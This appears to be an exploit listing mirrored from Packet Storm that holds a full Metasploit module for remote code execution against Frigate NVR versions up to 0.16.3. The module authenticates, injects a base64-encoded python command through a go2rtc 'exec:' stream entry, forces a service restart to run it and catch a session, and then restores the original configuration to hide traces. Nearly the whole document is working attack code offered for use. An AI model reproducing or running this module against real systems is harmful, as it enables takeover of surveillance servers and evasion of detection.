Share
## https://sploitus.com/exploit?id=PACKETSTORM:216279
=============================================================================================================================================
    | # Title     : Frigate NVR โ‰ค 0.16.3 Configuration Manipulation Remote Code Execution                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://frigate.video/                                                                                                      |
    =============================================================================================================================================
    
    [+] Summary    :  This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Frigate NVR versions โ‰ค 0.16.3 by manipulating the applicationโ€™s configuration through the go2rtc stream settings.
                      The module retrieves the current configuration, safely parses and modifies it to introduce a controlled payload entry, 
    				  and triggers a service restart to execute the injected command. After successful session establishment, the module attempts to restore the original configuration to reduce operational artifacts.
    
    [+] This Enterprise Hardened Edition includes:
    
    Defensive YAML parsing with strict type validation
    
    Resilient JSON schema handling for API response variations
    
    Enhanced restart polling logic with configurable timeout behavior
    
    Optional authentication support
    
    Structured logging for operational transparency
    
    Crash-safe handling of unexpected API responses
    
    Automatic configuration restoration upon session creation
    
    The module is designed for stability in production-like environments and is hardened against common edge cases such as malformed responses, schema changes, and restart timing inconsistencies.
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'yaml'
    require 'json'
    require 'date'
    require 'logger'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'           => 'Frigate NVR Config Manipulation RCE (Enterprise Hardened)',
            'Description'    => %q{
              RCE exploit in Frigate NVR (<=0.16.3) via go2rtc settings.
              This version is fully hardened against:
              - Unexpected YAML structures
              - JSON API schema changes
              - Restart polling issues
              - Authentication failures or missing credentials
              Equipped with professional logging system.
            },
            'Author'         => ['indoushka'],
            'License'        => MSF_LICENSE,
            'References'     => [
              ['CVE', '2026-25643'],
              ['URL', 'https://github.com/jduardo2704/CVE-2026-25643-Frigate-RCE']
            ],
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X64, ARCH_X86, ARCH_CMD],
            'Targets'        => [['Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' }]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2026-02-15',
            'Notes'          => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_MODIFICATION] }
          )
        )
    
        register_options([
          Opt::RPORT(5000),
          OptString.new('USERNAME', [false, 'Username', '']),
          OptString.new('PASSWORD', [false, 'Password', '']),
          OptInt.new('RESTART_TIMEOUT', [true, 'Max seconds to wait for restart', 60]),
          OptBool.new('STRICT_RESTART', [true, 'Fail if service doesn\'t come back within timeout', true])
        ])
    
        # Professional Logger
        @logger = Logger.new($stdout)
        @logger.level = Logger::INFO
      end
    
      def check
        res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') })
        return CheckCode::Unknown("Target unreachable") unless res
        return CheckCode::Unknown("Empty or nil response body") if res.body.to_s.strip.empty?
    
        v_match = res.body.match(/(\d+\.\d+(\.\d+)?)/)
        return CheckCode::Detected("Frigate detected but version not parsed") unless v_match
    
        version = v_match[1]
        print_status("Detected Frigate version: #{version}")
    
        if Rex::Version.new(version) <= Rex::Version.new('0.16.3')
          return CheckCode::Appears
        end
        CheckCode::Safe
      end
    
      def exploit
        @cookie = login
        raw_config = fetch_config(@cookie)
        fail_with(Failure::UnexpectedReply, "Failed to retrieve configuration") unless raw_config
    
        config = parse_yaml(raw_config)
    
        stream_key = Rex::Text.rand_text_alpha(8)
        cmd = payload.encoded
        b64_cmd = Rex::Text.encode_base64(cmd)
        py_code = "import base64,os;os.system(base64.b64decode('#{b64_cmd}').decode())"
        wrapped_payload = "exec:python3 -c \"#{py_code}\" || python -c \"#{py_code}\""
    
        inject_payload(config, stream_key, wrapped_payload)
    
        print_status("Injecting payload and triggering restart via /api/config/save...")
        res = send_request_cgi({
          'method' => 'POST',
          'uri'    => normalize_uri(target_uri.path, 'api', 'config', 'save'),
          'vars_get' => { 'save_option' => 'restart' },
          'ctype'  => 'text/plain',
          'cookie' => @cookie,
          'data'   => YAML.dump(config)
        })
    
        if res && [200, 204].include?(res.code)
          wait_for_restart
        else
          fail_with(Failure::UnexpectedReply, "Server rejected config or insufficient permissions (HTTP #{res&.code})")
        end
    
        handler
      end
    
      def wait_for_restart
        print_status("Service is restarting. Polling for readiness...")
        start_time = Time.now
        loop do
          res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') })
          if res && res.code.to_i.between?(200, 399)
            print_good("Service is back online and responding!")
            return true
          end
    
          if Time.now - start_time > datastore['RESTART_TIMEOUT']
            if datastore['STRICT_RESTART']
              fail_with(Failure::TimeoutExpired, "Service failed to restart within timeout")
            else
              print_warning("Timeout reached. Proceeding anyway...")
              return false
            end
          end
          sleep(3)
        end
      end
    
      def parse_yaml(raw)
        begin
          config = YAML.safe_load(raw, permitted_classes: [Symbol, Date, Time], aliases: false)
          config = {} if config.nil?
          unless config.is_a?(Hash)
            fail_with(Failure::BadConfig, "Expected YAML Hash, got #{config.class}")
          end
          @original_config_yaml = YAML.dump(config)
          return config
        rescue => e
          fail_with(Failure::BadConfig, "YAML Parse Error: #{e.message}")
        end
      end
    
      def inject_payload(config, stream_key, payload)
        config['go2rtc'] ||= {}
        config['go2rtc']['streams'] ||= {}
        config['go2rtc']['streams'][stream_key] = [payload]
    
        config['cameras'] ||= {}
        config['cameras']["cam_#{stream_key}"] = {
          'ffmpeg' => { 'inputs' => [{ 'path' => "rtsp://127.0.0.1:8554/#{stream_key}", 'roles' => ['detect'] }] },
          'enabled' => true
        }
    
        @logger.info("Payload injected under stream key: #{stream_key}")
      end
    
      def fetch_config(cookie)
        res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'config', 'raw'), 'cookie' => cookie })
        case res&.code
        when 200
          body = res.body
          begin
            parsed = JSON.parse(body)
            body = parsed if parsed.is_a?(String)
            body = parsed['config'] if parsed.is_a?(Hash) && parsed['config'].is_a?(String)
          rescue JSON::ParserError; end
          body
        when 401, 403
          fail_with(Failure::NoAccess, "Access denied to configuration API")
        else
          nil
        end
      end
    
      def login
        return nil if datastore['USERNAME'].to_s.empty?
        res = send_request_cgi({
          'method' => 'POST',
          'uri'    => normalize_uri(target_uri.path, 'api', 'login'),
          'ctype'  => 'application/json',
          'data'   => { 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json
        })
        (res && res.code == 200) ? res.get_cookies : fail_with(Failure::NoAccess, "Login failed")
      end
    
      def on_new_session(session)
        super
        return unless @original_config_yaml
        print_status("Restoring original config for enterprise cleanup...")
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri'    => normalize_uri(target_uri.path, 'api', 'config', 'save'),
          'vars_get' => { 'save_option' => 'restart' },
          'ctype'  => 'text/plain',
          'cookie' => @cookie,
          'data'   => @original_config_yaml
        })
    
        if res && [200, 204].include?(res.code)
          @logger.info("Original configuration restored successfully.")
        else
          @logger.warn("Cleanup restore failed or returned unexpected code: #{res&.code}")
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================